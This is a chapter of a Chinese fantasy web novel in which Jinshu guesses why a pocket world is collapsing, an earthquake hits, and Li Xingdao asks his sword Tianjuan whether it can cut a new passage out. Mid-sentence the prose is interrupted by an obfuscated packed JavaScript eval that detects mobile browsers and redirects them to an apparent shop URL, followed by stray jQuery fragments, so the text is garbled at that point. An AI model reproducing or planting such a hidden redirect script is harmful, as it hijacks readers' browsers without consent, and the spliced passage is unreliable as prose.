默认冷灰
24号文字
方正启体

61. 第 61 章

作者:挑灯洗砚本书字数:K更新时间:
    锦书眼睛瞪得老大,就连熊戚都抬眼诧异地看了过来。


    燕临迟疑地拍了拍锦书的肩膀,小声道:“师妹,你怎么了?”


    锦书一拍桌子,猛地站起来大声道:“我知道了,不是传送符出问题了,是那个通道出问题了,与之对应的,小世界也是同一个问题。”


    眼看桌旁的人皆一脸茫然,锦书坚定道:“是这么一回事,我刚刚想了下,大概清楚了些。”


    锦书本来已经做好了准备,但却被台下几人清澈的眼神一噎,对这群没受过义务教育的无学历少年来说,自己那番解释还真不一定能让人听懂呢。


    她清了清嗓子:“我有个猜想,当然只是猜想哈,有没有一种可能,小世界这么多年之所以能稳定存活这么久,就是因为和原本的世界有一条连通的通道,通过这个通道,小世界才能一直维持自己内部的运转正常,具体是什么原理我也不太清楚。”


    “接着,距离那位无名散人劈开通道过了那么多年,说不定通道早就坚持不下来了,我们都知道这种通道应该是由天地灵力所支撑的,可是小世界的灵力如此充沛却从没流进过我们的世界,这只能说明,之前一直维持通道稳定的是那位无名散人挥剑时带起的天地灵力。”


    “过了这么多年,天地灵力消耗殆尽,通道自然就开始不稳定,甚至趋向于崩溃,因此小世界也开始逐渐崩溃。我估计通道也就剩一口气了,等它真正完全消散,那么小世界就会天翻地覆,我们也完了。”


    锦书这番话大部分都是她的猜想,其实也并没有什么真实可靠的实据,但对本就大脑一团乱麻的诸人来说,显然是找了一个很好的落脚点。


    几乎在她话音刚落,诸人就开始了讨论。


    “纪姑娘这说辞我从未听说过,是不是未免太过惊世骇俗了?”


    “我倒是觉得言之有理,你若是觉得不对,那你再说一个呗?”


    被点到那人支支吾吾半天吭不出来一个字,得到众人嘲笑的眼神后遂红了脸不再挑刺。


    陈赋舟问道:“按师姐的意思,我们只需要再开辟一条新的通道岂不是就既可以出去又可以维持小世界的稳定了?”


    锦书眼睛一亮:“还是师弟你最懂我,最知道我是什么想法。”


    有人疑问道:“可是我们并不是那无名散人,没有他那么强的实力也没有那么厉害的灵器,即使所有人一起合力也不可能再劈开一条通道啊。”


    锦书微微皱眉,有些踌躇,没敢开口,将视线移向了燕临和陈赋舟,见两人面色如常,才试探着开口道:“灵器倒是不必过多担忧,我有个法子,只是在此不太方便对诸位告知。”


    倘若天倦真是几千年前那无名散人的灵器,那定不能说出来,此刻坐在这里的什么人都有,难免不会动歪心思,还是先瞒着点的好。


    座下有人正要开口,然而话还立在舌头端却说不出口。


    只听轰隆隆一声巨响,几人就好像热炒锅里的菜一样猛然被甩起翻了个身,锦书茫然片刻,迅速用灵力稳固身子,才险险安稳地落在了地上。


    好在那震动不过片刻,整座屋子混乱一片,桌椅板凳以及一些稀稀散散的小东西全都滚地到处都是。


    锦书慌忙打开屋门,街上也没好到哪去,不少反应力慢的修士还一屁股坐在地上、两眼茫然,先前那动手的五大三粗的男子也一脸怒容地咒骂着,对上锦书的视线才像被人掐住了脖子一般,骤然失了声。


    也有原住民打开屋内小心翼翼地往外开,锦书扯着嗓子向隔壁那栋的一个年轻男人喊道:“你们天龟村常常这样地震吗?”


    男人有些慌张,好在见识了先前锦书护人的一幕,直到她并非坏人,还是回答道:“自我出生以来,从没经历过刚刚那回事,用您的话来说,应该是地震吧?之前从未发生过。”


    “而且,您看。”男人伸手指了指远方,自从小世界开始稀奇古怪地变化,地形已经同以往大大不同了,在天龟村甚至能看到连绵不断的九曲雪山。


    顺着男人手指的方向,锦书抬眼便瞧见九曲雪山上肉眼可见地正在沿着山体滚落着打量的雪堆,有些地方还裸露出原本厚厚大雪下覆盖的褐色地面,在那茫茫白色中褐色不断地出现又消失又出现,让那一成不变的白都化作了好似一条滚动着的雪的瀑布。


    “雪山怎么了?”


    原住民摇摇头,脸色古怪道:“雪山莫名出现在这里就已经很奇怪了,有时我们也会去那附近采摘药物,从没见过如此大的雪崩啊,如今这是怎么了?”


    身后传来一声超大的埋怨:“这咋了啊,吓死个人了知道不,还好我早就把伤员都治好了,不然要是在我拿刀的时候来这一下,我就从医修变成杀手了。”


    步阙乾气冲冲地扒开锦书,也探出头朝外看去。


    原住民一看来了个面生但面色不好的人,马上就又缩回了自己屋里。


    燕临无奈地拧着他的肩膀把他从锦书旁边扯开:“你怎么上来了?”


    步阙乾依旧探头探脑,夸张道:“晃那一下差点没把我那几个伤员晃得刀口炸开、血溅三尺,都发生这么大的事了,咋的,我还不能上来看看,到底啥情况啊?”


    燕临撇他一眼,解释道:“目前所有前来历练的修士应该都在这里了,我们找了几个领头的商量了一下现在的处境,师妹有个大概的猜想和出去的办法,但不太确定,本来还要再仔细计划计划的,谁知道突然就来了这么一遭,有点像是地龙来了。”


    莲华也从地下室出来了,语带担忧道:“地下连接玉龟湖的池子都沸腾起来了,估计玉龟湖也差不多。”


    锦书听到他的声音,转过头朝身后看了看,李行道果然也跟着上来了,她侧过身子从门和步阙乾的缝隙中间穿了过去,冲李行道招了招手。


    看到她对自己挥手,李行道怔了怔很快就反应过来,朝着锦书走去。


    陈赋舟一起跟了过去。


    锦书找了个没人的角落,三人聚在一起,锦书手掌往下虚虚按了两下,示意两人都低下头。


    于是三颗头凑在一起,叽里咕噜地说着什么。


    锦书把先前自己的猜想同李行道讲了一遍,接着抬眼小声问道:“李师弟你的剑不是有那个功能吗?你觉不觉得你的剑同故事里那位无名散人的剑很是相似,会不会是同一把?”


    李行道猝不及防地撞进那双灵巧的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299627|192304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眸子里,很快闪过一丝不太自然的慌张:“这剑并非有人给我,实不相瞒,当初人人都说我不能修仙,这辈子都是当凡人的命。”


    他咬了咬牙:“可我偏不信命,我一直试着修炼,直到突然有一天,有个念头指引着我,我跟随那个若有若无的念头跌跌撞撞地闯进了一个山谷里,就在那山谷里,这把剑忽然大放光芒,认我为主,但在那个隐蔽的山谷里,我并未见到除我以外的其他人。”


    “天倦给了我许多帮助,它对我来说亦师亦友,关于它的来历我知道的并不多,就连那两个能力都是师姐告诉我的。”


    锦书显然没想到当初挖的坑如今又跌了进去,眼看两个人都侧目看来,不禁尴尬道:“这都不重要,听你这话说的,天倦不是非同一般的灵器,你们两个是不是可以交流啊?”


    交流是肯定可以的,毕竟原书里确实有提到,锦书这话题扯得虽然生硬,好在李行道这孩子也不是刨根问底的性格,乖巧道:“只有偶尔才行,要天倦自己联系我。”


    锦书眯了眯眼睛:“现在属实是没办法了,你还是试着问问它吧,问问它和那个无名散人有没有关系,问问它能不能劈出一条新通道。”


    李行道愣愣地“嗯”了一声,接着紧紧地闭上眼睛,眉头紧缩。


    两人知道他在试着和天倦沟通,也不敢过多打扰,锦书连呼吸都慢了半分,只是专注地盯着他同样严肃的脸。


    沟通用了很久很久,锦书仿佛听到有个硕大的钟表正立在自己耳侧,它长长的时针和分针滴滴答答地转动着,敲得锦书万般无聊。


    她叹了口气,转动了一下视线,马上就和陈赋舟对上了眼睛,陈赋舟桃花眼微挑,两人对视的瞬间,锦书差点没憋住笑,很快还是抽动着脸部肌肉转过了脸。


    只听身侧人幽幽叹了口气。


    陈赋舟的眼睛大概就是看狗都深情的那种吧,锦书感叹道,只是离得这么近真的控制不住想笑啊,不知道李行道还要多久才能把他这倔脾气的剑哄好。


    说曹操曹操到。


    锦书心中念头刚起,天倦的剑身就颤动了起来,好像还带着几分怒气和恐惧似得,只是猛地抖动了两下,“哐”的一声又恢复了平静,跌回了李行道手里。


    看到它这样,锦书本就莫名其妙的笑点越发控制不住,“噗嗤”一声笑了出来。


    两人都站直身子,看到他们的小师姐,扶着腰,笑的浑身发颤,头上插的一只鬓花都被抖落了下来,被陈赋舟接在手里。


    锦书笑的脸直红,话也说不好事了,磕磕盼盼地道歉道:“对不起,我知道这种严肃场合不能笑,可是,可是,天倦刚刚那一下好像市场上卖的咸鱼,在案板上使劲扑腾两下又不动了。”


    她话音刚落,天倦剑就“嗡嗡”作响,发出了比之前打上好几倍的动静,锦书又连忙道歉道:“对不起,对不起嘛,你别生气了,我到时候赔你一个好看的剑穗行不行?”


    最后还是李行道按住了使劲扑腾的天倦剑,对两人说道:“我问了天倦那两个问题,对于第一个,他并不愿意回答,第二个,他说没有问题,只是我灵力不够,所以劈不开,如果一定要做的话,那需要几个条件。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)